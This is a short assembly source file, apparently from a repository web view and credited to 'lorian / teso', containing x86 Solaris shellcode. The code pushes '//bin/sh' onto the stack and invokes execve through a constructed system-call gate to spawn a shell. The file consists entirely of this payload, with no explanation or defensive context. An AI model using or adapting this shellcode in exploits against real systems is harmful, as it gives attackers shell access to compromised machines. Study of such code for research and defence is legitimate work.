blob: 428a2fed9dc72f5794e435efedb6d5f9271660bf (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
/* x86/solaris execve /bin/sh shellcode
*
* lorian / teso
*/
.globl cbegin
.globl cend
cbegin:
movl $0x3cfff8ff, %eax
notl %eax
pushl %eax
xorl %eax, %eax
cdq
movb $0x9a, %al
pushl %eax
movl %esp, %edi
movb $0x3b, %al
pushl %edx
push $0x68732F6E
push $0x69622F2F
movl %esp, %ebx
pushl %edx
pushl %ebx
movl %esp, %ecx
pushl %edx
pushl %ecx
pushl %ebx
call *%edi
cend:
|
